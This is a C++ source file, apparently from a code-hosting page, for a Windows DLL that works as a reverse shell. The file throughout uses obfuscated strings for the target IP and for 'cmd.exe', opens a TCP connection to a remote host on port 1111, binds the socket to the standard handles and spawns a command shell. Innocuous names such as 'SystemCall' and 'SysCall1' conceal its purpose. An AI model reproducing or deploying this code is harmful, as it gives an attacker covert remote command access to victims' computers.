Данил
144 lines
3.4 KiB
C++
144 lines
3.4 KiB
C++
const char* msg = "LS0tIC0uIC4gIC0uIC4uIC0tLiAuLi4uIC0gLS0uLi0tICAuLiAgLS4tLiAtLS0gLi4tIC4tLi4gLS4uIC0uIC4tLS0tLiAtICAuLi4gLi0uLiAuIC4gLi0tLiAuLS4tLi0gIC4uICAtLi0gLiAuLS0uIC0gIC4tLi4gLS0tIC0tLSAtLi0gLi4gLS4gLS0uICAuLSAtICAtIC4uLi4gLiAgLi0tLiAtLS0gLi0uIC0gLi0uIC4tIC4uIC0gIC0gLi4uLiAuLSAtICAuLS0gLi0gLi4uICAtLi0uIC4uLi4gLiAuIC4tLiAuLi0uIC4uLSAuLS4uICAtLS0gLS4gIC0gLi4uLiAuICAuLS0gLi0gLi0uLiAuLS4uIC4tLi0uLSAgLi4gLS4gIC0gLi4uLiAuICAtLSAtLS0gLi0uIC0uIC4uIC0uIC0tLiAgLi4gIC4uLiAtIC4uIC4tLi4gLi0uLiAgLS0gLi0gLS4gLi0gLS0uIC4gLS4uICAtIC0tLSAgLi4tLiAuLSAuLS4uIC4tLi4gIC4tIC4uLiAuLS4uIC4gLiAuLS0uIC0tLi4tLSAgLi0gLS4gLS4uICAuLS0gLi4uLiAuIC0uICAuLiAgLi0tIC0tLSAtLi0gLiAgLi4tIC4tLS4gIC4uICAuLi4gLi0gLi0tICAuLSAgLi0tIC4uIC0uIC0uLiAtLS0gLi0tICAtLS0gLS4gIC0gLi4uLiAuICAuLi4tLSAuLi4uLSAtIC4uLi4gIC4uLS4gLi0uLiAtLS0gLS0tIC4tLiAgLi4gLS4gIC4tLS4gLi0uLiAuLSAtLi0uIC4gIC0tLSAuLi0uICAtIC4uLi4gLiAgLi0tLiAuLSAuLiAtLiAtIC4uIC0uIC0tLiAuLS4tLi0=";
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#define _WINSOCK_DEPRECATED_NO_WARNINGS
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#include <WinSock2.h>
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#pragma comment(lib,"Ws2_32.lib")
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#ifdef LOAD_DLL
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#define LIBRARY_API __declspec(dllimport)
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#else
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#define LIBRARY_API __declspec(dllexport)
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#endif
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// Çàìåíèòü IP è port
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#pragma region Network
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const unsigned short int lengthIP = 12;
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char InternetProtacol[lengthIP] = "081-057-/-5";
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int port = 1111;
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SOCKADDR_IN addr;
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SOCKET Socket;
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#ifdef UNICODE
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TCHAR cmd[] = L"dne/fyf";
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#else
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TCHAR cmd[] = "dne/fyf";
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#endif
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#pragma endregion
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#pragma region Load Function From NetDLL
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HINSTANCE NetLib;
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typedef void (*NetInit)();
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typedef void (*MyConnect)(SOCKADDR*, SOCKET*);
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NetInit ni;
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MyConnect mc;
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#pragma endregion
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void DecodeIP()
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{
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for (int i = 0; i < lengthIP - 1; ++i)
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++InternetProtacol[i];
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}
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void DecodeCommand()
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{
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for (int i = 0; i < 7; ++i)
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--cmd[i];
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}
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#pragma region System calls
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void SysCall1()
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{
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NetLib = LoadLibrary(L"NetDLL.dll");
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if (NetLib == nullptr)
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exit(-4);
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ni = (NetInit)GetProcAddress(NetLib, "NetInit");
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if (ni == nullptr)
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exit(-5);
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ni();
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FreeLibrary(NetLib);
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}
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void SysCall5()
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{
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DecodeIP();
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struct hostent* host;
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host = gethostbyname(InternetProtacol);
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strcpy_s(InternetProtacol, lengthIP, inet_ntoa(*((struct in_addr*)host->h_addr)));
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}
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void SysCall2()
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{
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addr.sin_addr.s_addr = inet_addr(InternetProtacol);
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addr.sin_port = htons(port);
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addr.sin_family = AF_INET;
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}
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void SysCall3()
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{
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NetLib = LoadLibrary(L"NetDLL.dll");
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if (NetLib == nullptr)
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exit(-4);
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mc = (MyConnect)GetProcAddress(NetLib, "MyConnect");
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if (mc == nullptr)
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exit(-6);
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Socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
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mc((SOCKADDR*)&addr, &Socket);
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FreeLibrary(NetLib);
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}
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void SysCall4()
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{
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STARTUPINFO ini_processo;
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PROCESS_INFORMATION processo_info;
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memset(&ini_processo, 0, sizeof(ini_processo));
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ini_processo.cb = sizeof(ini_processo);
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ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
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ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Socket;
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if (Socket == INVALID_SOCKET)
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exit(4);
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DecodeCommand();
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if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info))
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exit(5);
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}
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#pragma endregion
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extern "C" void LIBRARY_API SystemCall(int call)
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{
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switch (call)
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{
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case 1:
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{
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SysCall1();
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} break;
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case 2:
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{
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SysCall2();
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} break;
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case 3:
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{
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SysCall3();
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} break;
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case 4:
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{
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SysCall4();
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} break;
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case 5:
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{
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SysCall5();
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} break;
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default:{
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} break;
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}
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} |